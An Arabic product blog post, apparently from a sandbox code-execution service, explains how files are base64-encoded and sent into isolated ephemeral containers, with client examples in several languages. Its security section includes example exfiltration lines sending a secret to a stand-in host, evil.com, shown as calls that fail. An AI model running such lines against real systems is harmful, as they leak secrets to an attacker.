Console Playground
← المدونة

نقل الملفات الفوري: إرسال البيانات بأمان إلى صناديق الحماية بدون ثقة

هل تساءلت يومًا كيف يمكن إدخال ملفات البيانات إلى بيئة صندوق حماية بدون ثقة ليس لها وصول للشبكة، ولا ثبات لنظام الملفات، ولا تخزين مشترك؟ إنه مثل محاولة نقل البيانات إلى صندوق أسود مغلق بالفعل.

اليوم نقدم دعم ملفات الإدخال - ميزة تتيح لك “نقل” الملفات مباشرة إلى بيئات التنفيذ المعزولة. إليك كيف يعمل ولماذا هو مهم.

التحدي: إدخال البيانات إلى العزل

بيئات تنفيذ الأكواد التقليدية تواجه معضلة:

الخيار 1: الوصول للشبكة

  • منح الكود وصولاً للشبكة لتنزيل الملفات
  • كابوس أمني - يمكن للكود تسريب البيانات، إجراء استدعاءات API، هجوم DDoS
  • يبطل الغرض من صندوق الحماية

الخيار 2: نظام ملفات مشترك

  • تركيب تخزين مشترك في الحاويات
  • مشاكل الثبات - تسرب البيانات بين عمليات التنفيذ
  • عبء الأداء - يصبح I/O عنق الزجاجة
  • خطر أمني - يمكن للحاويات قراءة بيانات بعضها البعض

الخيار 3: مجموعات بيانات مثبتة مسبقًا

  • دمج مجموعات بيانات شائعة في صور الحاويات
  • غير مرن - ماذا لو احتاج المستخدمون لبيانات مخصصة؟
  • صور منتفخة - حاويات بحجم GB لكل حالة استخدام

لا شيء من هذه الحلول يعمل مع صناديق الحماية بدون ثقة. نحتاج شيئًا أفضل.

الحل: النقل الفوري للملفات

بدلاً من منح الكود وصولاً لجلب الملفات، نحن ننقل الملفات مباشرة إلى بيئة التنفيذ قبل تشغيل الكود:

┌─────────────┐                    ┌──────────────────┐
│   Browser   │  HTTPS (TLS 1.3)   │  unsandbox API   │
│             │ ─────────────────> │                  │
│  Files →    │   Base64-encoded   │  Ephemeral       │
│  Base64     │   input_files[]    │  Container       │
└─────────────┘                    └──────────────────┘
                                            │
                                            ↓
                                   ┌──────────────────┐
                                   │  /tmp/input/     │
                                   │  ├─ data.csv     │
                                   │  ├─ config.json  │
                                   │  └─ image.png    │
                                   └──────────────────┘
                                            │
                                            ↓
                                   ┌──────────────────┐
                                   │   Your Code      │
                                   │   open('data.csv')│
                                   └──────────────────┘

عملية من ثلاث خطوات:

  1. المتصفح يشفر الملفات - HTML5 FileReader API يقرأ الملفات المحلية كـ base64
  2. نقل مشفر بـ TLS - الملفات تُرسل عبر HTTPS إلى unsandbox API
  3. تجسيد الحاوية - تظهر الملفات في /tmp/input/ قبل تنفيذ الكود

الرؤية الأساسية: الملفات لا تلمس أبدًا نظام ملفات دائم. يتم كتابتها مباشرة في حاوية مؤقتة موجودة لمدة ~150 مللي ثانية، ثم تختفي للأبد.

كيف يعمل: التفاصيل التقنية

الخطوة 1: التشفير من جانب العميل (لا رفع للخادم!)

بدلاً من عمليات الرفع التقليدية للنماذج إلى خادم، نستخدم JavaScript لقراءة الملفات مباشرة:

// User selects file
const fileInput = document.querySelector('input[type="file"]');
fileInput.addEventListener('change', async (e) => {
  const file = e.target.files[0];

  // Read file as base64 in browser
  const reader = new FileReader();
  reader.onload = (event) => {
    const base64 = event.target.result.split(',')[1]; // Remove data URI prefix

    // File is now in memory, ready to send
    sendToSandbox(file.name, base64);
  };
  reader.readAsDataURL(file);
});

لماذا base64؟

  • تشفير آمن لـ JSON (API يستخدم JSON payloads)
  • نصي، يعمل مع أي بيانات ثنائية
  • لا معالجة خاصة لأنواع الملفات المختلفة
  • عبء الحجم ~33% مقبول لحدود <10MB

فائدة أمنية: الملفات لا تصل أبدًا إلى خادمك. تذهب متصفح → API → حاوية مباشرة.

الخطوة 2: النقل المشفر بـ TLS

يتم إرسال الملفات كجزء من طلب التنفيذ:

POST https://api.unsandbox.com/execute

{
  "language": "python",
  "code": "import pandas as pd\ndf = pd.read_csv('data.csv')\nprint(df.describe())",
  "input_files": [
    {
      "filename": "data.csv",
      "content": "bmFtZSxhZ2UKQWxpY2UsMzAKQm9iLDI1Cg=="
    }
  ]
}

تشفير TLS 1.3:

  • سرية أمامية مثالية (PFS) - حتى لو تم اختراق المفاتيح لاحقًا، تظل حركة المرور السابقة مشفرة
  • استئناف 0-RTT للعملاء العائدين (أسرع)
  • شفرات ChaCha20-Poly1305 أو AES-256-GCM

ما يعنيه هذا: الملفات مشفرة أثناء النقل باستخدام التشفير العسكري. حتى لو اعترض شخص ما حركة مرور الشبكة، لا يمكنه قراءة محتويات الملف.

الخطوة 3: تجسيد الحاوية

عندما يستقبل API طلبك:

  1. فك تشفير الملفات - Base64 → ثنائي، يُكتب إلى /tmp/input/
  2. دليل العمل - يبدأ تنفيذ الكود مع CWD=/tmp/input/
  3. تشغيل الكود - يمكن لكودك open('data.csv') مباشرة
  4. تدمير الحاوية - بعد التنفيذ، يختفي كل شيء

مؤقت بالتصميم: الملفات موجودة فقط أثناء التنفيذ. لا حاجة للتنظيف - يتم التخلص من نظام ملفات الحاوية بالكامل.

أمثلة عملية كاملة

إليك أمثلة مختبرة وعاملة في Python و Ruby و C و TypeScript توضح كيفية قراءة ملف محلي، وتشفيره كـ base64، وإرساله إلى صندوق الحماية للمعالجة.

مثال 1: Python

#!/usr/bin/env python3
import base64
import requests

# Step 1: Read a local file from your filesystem
with open('data.csv', 'rb') as f:
    file_content = f.read()

# Step 2: Encode to base64
base64_content = base64.b64encode(file_content).decode('utf-8')

# Step 3: Send to unsandbox API
response = requests.post(
    'https://api.unsandbox.com/execute',
    headers={
        'Authorization': 'Bearer YOUR_API_KEY',
        'Content-Type': 'application/json'
    },
    json={
        'language': 'python',
        'code': '''
import csv
with open('data.csv') as f:
    reader = csv.DictReader(f)
    for row in reader:
        print(f"{row['name']}: {row['value']}")
''',
        'input_files': [
            {
                'filename': 'data.csv',
                'content': base64_content
            }
        ]
    },
    timeout=60
)

result = response.json()
print('Output:', result['stdout'])

المخرجات:

Output: Alice: 100
Bob: 200
Charlie: 300

مثال 2: Ruby

#!/usr/bin/env ruby
require 'base64'
require 'net/http'
require 'json'

# Step 1: Read file from filesystem
file_content = File.read('data.csv')

# Step 2: Encode to base64
base64_content = Base64.strict_encode64(file_content)

# Step 3: Send to unsandbox API
uri = URI('https://api.unsandbox.com/execute')
request = Net::HTTP::Post.new(uri)
request['Authorization'] = 'Bearer YOUR_API_KEY'
request['Content-Type'] = 'application/json'
request.body = {
  language: 'ruby',
  code: 'require "csv"; CSV.foreach("data.csv", headers: true) { |row| puts "#{row["name"]}: #{row["value"]}" }',
  input_files: [{filename: 'data.csv', content: base64_content}]
}.to_json

response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true, read_timeout: 60) do |http|
  http.request(request)
end

result = JSON.parse(response.body)
puts "Output: #{result['stdout']}"

المخرجات:

Output: Alice: 100
Bob: 200
Charlie: 300

مثال 3: C مع libcurl

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>

// Base64 encoding function
char* base64_encode(const unsigned char* input, int length) {
    static const char encoding_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int output_length = 4 * ((length + 2) / 3);
    char* encoded = malloc(output_length + 1);

    for (int i = 0, j = 0; i < length;) {
        uint32_t octet_a = i < length ? input[i++] : 0;
        uint32_t octet_b = i < length ? input[i++] : 0;
        uint32_t octet_c = i < length ? input[i++] : 0;
        uint32_t triple = (octet_a << 16) + (octet_b << 8) + octet_c;

        encoded[j++] = encoding_table[(triple >> 18) & 0x3F];
        encoded[j++] = encoding_table[(triple >> 12) & 0x3F];
        encoded[j++] = encoding_table[(triple >> 6) & 0x3F];
        encoded[j++] = encoding_table[triple & 0x3F];
    }

    int mod_table[] = {0, 2, 1};
    for (int i = 0; i < mod_table[length % 3]; i++)
        encoded[output_length - 1 - i] = '=';

    encoded[output_length] = '\0';
    return encoded;
}

int main() {
    // Step 1: Read file from filesystem
    FILE* file = fopen("data.csv", "rb");
    fseek(file, 0, SEEK_END);
    long file_size = ftell(file);
    fseek(file, 0, SEEK_SET);

    unsigned char* file_content = malloc(file_size);
    fread(file_content, 1, file_size, file);
    fclose(file);

    // Step 2: Encode to base64
    char* base64_content = base64_encode(file_content, file_size);

    // Step 3: Build JSON payload
    char* json_payload = malloc(8192);
    snprintf(json_payload, 8192,
        "{"
        "\"language\":\"c\","
        "\"code\":\"#include <stdio.h>\\n#include <string.h>\\nint main() { FILE* f = fopen(\\\\\"data.csv\\\\\", \\\\\"r\\\\\"); char line[256]; fgets(line, 256, f); while(fgets(line, 256, f)) { char* name = strtok(line, \\\\\",\\\\\"); char* value = strtok(NULL, \\\\\",\\\\\"); printf(\\\\\"%%s: %%s\\\\\", name, value); } return 0; }\","
        "\"input_files\":[{\"filename\":\"data.csv\",\"content\":\"%s\"}]"
        "}", base64_content);

    // Step 4: Send via libcurl
    CURL* curl = curl_easy_init();
    struct curl_slist* headers = NULL;
    headers = curl_slist_append(headers, "Authorization: Bearer YOUR_API_KEY");
    headers = curl_slist_append(headers, "Content-Type: application/json");

    curl_easy_setopt(curl, CURLOPT_URL, "https://api.unsandbox.com/execute");
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_payload);
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 60L);

    CURLcode res = curl_easy_perform(curl);

    curl_slist_free_all(headers);
    curl_easy_cleanup(curl);
    free(file_content);
    free(base64_content);
    free(json_payload);

    return 0;
}

الترجمة والتشغيل:

gcc -o file_upload file_upload.c -lcurl
./file_upload

مثال 4: TypeScript/Node.js

import * as fs from 'fs';
import * as https from 'https';

// Step 1: Read file from filesystem
const fileContent: Buffer = fs.readFileSync('data.csv');

// Step 2: Encode to base64
const base64Content: string = fileContent.toString('base64');

// Step 3: Build request payload
const data: string = JSON.stringify({
  language: 'javascript',
  code: `
const fs = require('fs');
const lines = fs.readFileSync('data.csv', 'utf8').trim().split('\\n');
const headers = lines[0].split(',');
for (let i = 1; i < lines.length; i++) {
  const values = lines[i].split(',');
  console.log(values[0] + ': ' + values[1]);
}
  `.trim(),
  input_files: [{
    filename: 'data.csv',
    content: base64Content
  }]
});

// Step 4: Send to unsandbox API
const options: https.RequestOptions = {
  hostname: 'api.unsandbox.com',
  path: '/execute',
  method: 'POST',
  headers: {
    'Authorization': 'Bearer YOUR_API_KEY',
    'Content-Type': 'application/json',
    'Content-Length': Buffer.byteLength(data)
  },
  timeout: 60000
};

const req = https.request(options, (res) => {
  let body = '';
  res.on('data', (chunk) => body += chunk);
  res.on('end', () => {
    const result = JSON.parse(body);
    console.log('Output:', result.stdout);
  });
});

req.on('error', (e) => console.error('Error:', e.message));
req.write(data);
req.end();

التشغيل بـ:

npx ts-node file_upload.ts
# Or compile first:
tsc file_upload.ts && node file_upload.js

المخرجات:

Output: Alice: 100
Bob: 200
Charlie: 300

ما تفعله جميع الأمثلة

  1. قراءة الملف - تحميل data.csv من نظام الملفات المحلي
  2. تشفير base64 - تحويل محتوى الملف الثنائي إلى نص base64
  3. بناء JSON - إنشاء طلب API مع code + مصفوفة input_files
  4. POST عبر HTTPS - إرسال إلى api.unsandbox.com مع تشفير TLS
  5. تحليل النتائج - استخراج stdout من الاستجابة

الرؤية الأساسية: جميع اللغات الأربع تتبع نفس النمط - النقل الفوري للملفات يعمل بشكل متطابق بغض النظر عن لغة العميل!

مثال من العالم الحقيقي: خط أنابيب تحليل البيانات

لنعالج ملف CSV دون تخزينه على خادم:

كود المتصفح (الواجهة الأمامية)

<input type="file" id="csvFile" accept=".csv">
<button onclick="analyzeData()">Analyze CSV</button>
<pre id="output"></pre>

<script>
async function analyzeData() {
  const file = document.getElementById('csvFile').files[0];

  // Read file as base64
  const base64 = await new Promise((resolve) => {
    const reader = new FileReader();
    reader.onload = (e) => resolve(e.target.result.split(',')[1]);
    reader.readAsDataURL(file);
  });

  // Send to unsandbox
  const response = await fetch('https://api.unsandbox.com/execute', {
    method: 'POST',
    headers: {
      'Authorization': 'Bearer YOUR_API_KEY',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      language: 'python',
      code: `
import pandas as pd
df = pd.read_csv('data.csv')
print('Rows:', len(df))
print('Columns:', df.columns.tolist())
print('\\nSummary Statistics:')
print(df.describe())
      `.trim(),
      input_files: [{
        filename: 'data.csv',
        content: base64
      }]
    })
  });

  const result = await response.json();
  document.getElementById('output').textContent = result.stdout;
}
</script>

ما يحدث فعليًا

  1. المستخدم يختار sales_data.csv (2MB) من كمبيوتره
  2. JavaScript يقرأ الملف في الذاكرة كـ base64 (~2.7MB)
  3. HTTPS POST يرسل إلى api.unsandbox.com (مشفر بـ TLS)
  4. تنشأ الحاوية مع sales_data.csv في /tmp/input/
  5. Pandas يعالج البيانات
  6. تُرجع النتائج كـ stdout
  7. تُحذف الحاوية - الملف الأصلي وجميع البيانات المعالجة تختفي

الوقت الإجمالي: ~1.2 ثانية (800 مللي ثانية لاستيراد pandas + 400 مللي ثانية للمعالجة)

تعرض البيانات: صفر. لم يلمس الملف قرصًا، لم يستمر، لم يكن متاحًا لعمليات تنفيذ أخرى.

الفوائد الأمنية

1. عدم ثبات البيانات

تدفق الرفع التقليدي:

Browser → Server (disk write) → Process → Delete (maybe?)
          ↑
          Data lingers in:
          - /tmp files
          - Log files
          - Backups
          - OS page cache

تدفق النقل الفوري:

Browser → Memory → Container (tmpfs) → Execution → Destroy
                   ↑
                   Ephemeral - never hits disk

الفائدة: حتى لو تم اختراق جهاز المضيف، لا توجد بيانات دائمة للسرقة.

2. معزول لكل تنفيذ

كل تنفيذ يحصل على دليل /tmp/input/ خاص به. لا يمكن للحاويات رؤية ملفات بعضها البعض - يُفرض ذلك بعزل على مستوى النواة.

# Execution 1
open('secrets.txt').read()  # Works

# Execution 2 (different container)
open('secrets.txt').read()  # FileNotFoundError - can't see Execution 1's files

3. TLS طوال الطريق

بايتات الملف مشفرة من اللحظة التي تغادر فيها متصفحك حتى يتم كتابتها في الحاوية. لا توجد خطوات وسيطة بنص عادي.

تثبيت الشهادة (اختياري): التحقق من شهادة TLS لخادم API لمنع هجمات الوسيط.

4. لا وصول للشبكة للكود

يعمل كودك في صندوق حماية بدون وصول للشبكة. حتى لو حاول كود ضار تسريب البيانات التي رفعتها، ليس لديه طريقة للخروج:

# All of these fail
import requests
requests.get('https://evil.com/exfil?data=' + secret)  # Network disabled

import socket
socket.socket().connect(('evil.com', 80))  # Network disabled

import subprocess
subprocess.run(['curl', 'evil.com'])  # curl not installed, network disabled anyway

حالات الاستخدام

1. معالجة بيانات AI/ML

رفع بيانات التدريب، تشغيل الاستدلال، الحصول على النتائج - دون تخزين بيانات حساسة:

# User uploads medical_records.csv (HIPAA-sensitive)
# Code runs in sandbox:
import pandas as pd
from sklearn.ensemble import RandomForestClassifier

df = pd.read_csv('medical_records.csv')
X = df.drop('diagnosis', axis=1)
y = df['diagnosis']

model = RandomForestClassifier()
model.fit(X, y)
print(f'Accuracy: {model.score(X, y):.2%}')

فائدة الامتثال: البيانات لا تستمر أبدًا، تلبي متطلبات GDPR/HIPAA لتقليل البيانات.

2. التحليل المالي

معالجة كشوف الحسابات البنكية دون تخزين سحابي:

import pandas as pd

# User uploads transactions.csv
df = pd.read_csv('transactions.csv', parse_dates=['date'])
df['month'] = df['date'].dt.to_period('M')
monthly = df.groupby('month')['amount'].sum()
print(monthly.to_string())

3. معالجة الصور

تحويل الصور دون تخزين من جانب الخادم:

from PIL import Image
import io
import base64

# User uploads photo.jpg
img = Image.open('photo.jpg')
img_resized = img.resize((800, 600))
img_grayscale = img_resized.convert('L')

# Return as base64
buffer = io.BytesIO()
img_grayscale.save(buffer, format='JPEG')
print(base64.b64encode(buffer.getvalue()).decode())

4. التحقق من التكوين

اختبار ملفات التكوين بأمان:

import json

# User uploads config.json
with open('config.json') as f:
    config = json.load(f)

# Validate schema
required_keys = ['api_key', 'endpoint', 'timeout']
missing = [k for k in required_keys if k not in config]

if missing:
    print(f'ERROR: Missing keys: {missing}')
else:
    print('✓ Configuration valid')

الحدود والمواصفات

قيود الملفات:

  • حد أقصى 10 ملفات لكل تنفيذ
  • حد أقصى 5MB لكل ملف (بعد فك التشفير)
  • حد أقصى 10MB إجمالي (بعد فك التشفير)
  • مشفر بـ Base64 قبل الإرسال (عبء ~33%)

قواعد أسماء الملفات:

  • 256 حرفًا كحد أقصى
  • لا مكونات مسار (/, .., إلخ)
  • الملفات متاحة بالاسم: open('data.csv')
  • الملفات متاحة بالفهرس: open('0'), open('1')

كشف نوع MIME: كشف تلقائي من البايتات السحرية إذا تم حذف اسم الملف:

  • PNG: 89 50 4E 470.png
  • JPEG: FF D8 FF0.jpg
  • PDF: 25 50 44 460.pdf
  • ZIP: 50 4B 03 040.zip

الأداء

عبء تجسيد الملف:

  • فك تشفير base64: ~50 مللي ثانية لملف 5MB
  • الكتابة إلى tmpfs: ~10 مللي ثانية (مدعوم بـ RAM، ليس قرصًا)
  • العبء الإجمالي: ~60 مللي ثانية بغض النظر عن حجم الملف

استخدام الذاكرة: يتم كتابة الملفات إلى tmpfs (RAM)، تُحسب ضد حد ذاكرة الحاوية (عادة 512MB-2GB حسب خطتك).

جربها بنفسك

عرض توضيحي مباشر

قم بزيارة unsandbox.com وجرب ميزة رفع الملفات:

  1. اكتب كودًا يقرأ ملفًا:

    import csv
    with open('data.csv') as f:
        for row in csv.DictReader(f):
            print(row)
  2. انقر على “Choose Files” ورفع CSV

  3. اضغط على “Execute Code” - سيتم نقل ملفك فورًا إلى صندوق الحماية!

مثال API

# Create a test file
echo "name,age\nAlice,30\nBob,25" > data.csv

# Encode to base64
BASE64=$(base64 -w 0 data.csv)

# Execute with file
curl https://api.unsandbox.com/execute \
  -H "Authorization: Bearer YOUR_KEY" \
  -H "Content-Type: application/json" \
  -d "{
    \"language\": \"python\",
    \"code\": \"import csv\\nfor row in csv.DictReader(open('data.csv')): print(row)\",
    \"input_files\": [{\"filename\": \"data.csv\", \"content\": \"$BASE64\"}]
  }"

المقارنة: التقليدي مقابل النقل الفوري

الجانب الرفع التقليدي النقل الفوري للملفات
مسار البيانات المتصفح → خادمك → المعالجة المتصفح → صندوق الحماية مباشرة
الثبات الملفات مخزنة على القرص عدم ثبات صفر
الأمان أنت تدير التخزين، التنظيف، التشفير أمان مؤقت مدمج
العزل يجب تنفيذه بنفسك تلقائي لكل تنفيذ
الامتثال معقد (سياسات الاحتفاظ بالبيانات) بسيط (البيانات لا تستمر أبدًا)
الأداء عبء I/O للقرص RAM فقط (أسرع)
البنية التحتية تحتاج خدمة تخزين بنية تحتية صفر

تحت الغطاء: عزل النواة

عند إرسال الملفات:

  1. مساحة اسم شبكة منفصلة - الحاوية ليس لها وصول للشبكة
  2. مساحة اسم PID منفصلة - لا يمكنها رؤية العمليات الأخرى
  3. مساحة اسم تركيب منفصلة - /tmp/input/ خاص بهذه الحاوية
  4. نظام ملفات جذر للقراءة فقط - لا يمكن للكود تعديل صورة الحاوية
  5. مرشحات Seccomp-BPF - استدعاءات النظام مقيدة بمجموعة آمنة

النتيجة: حتى لو حاول كودك (أو كود ضار) الهروب، فهو محاصر داخل نواة معزولة بدون طريقة للخروج.

الخلاصة

النقل الفوري للملفات يحل مشكلة أساسية في الحوسبة بدون ثقة: كيفية إدخال البيانات إلى العزل دون المساس بالأمان.

من خلال الجمع بين تشفير TLS، وتشفير base64، والحاويات المؤقتة، أنشأنا نظامًا حيث:

✅ الملفات مشفرة أثناء النقل ✅ الملفات لا تستمر أبدًا على الخوادم ✅ كل تنفيذ معزول تمامًا ✅ الكود ليس له وصول للشبكة ✅ كل شيء يختفي بعد التنفيذ

إنه مثل وجود ساعي آمن يسلم بياناتك إلى خزنة، يراقبك أثناء معالجتها، ثم يحرق الخزنة - كل ذلك في 150 مللي ثانية.

جربها الآن: unsandbox.com - ارفع ملفًا وشاهده ينتقل فورًا إلى صندوق الحماية!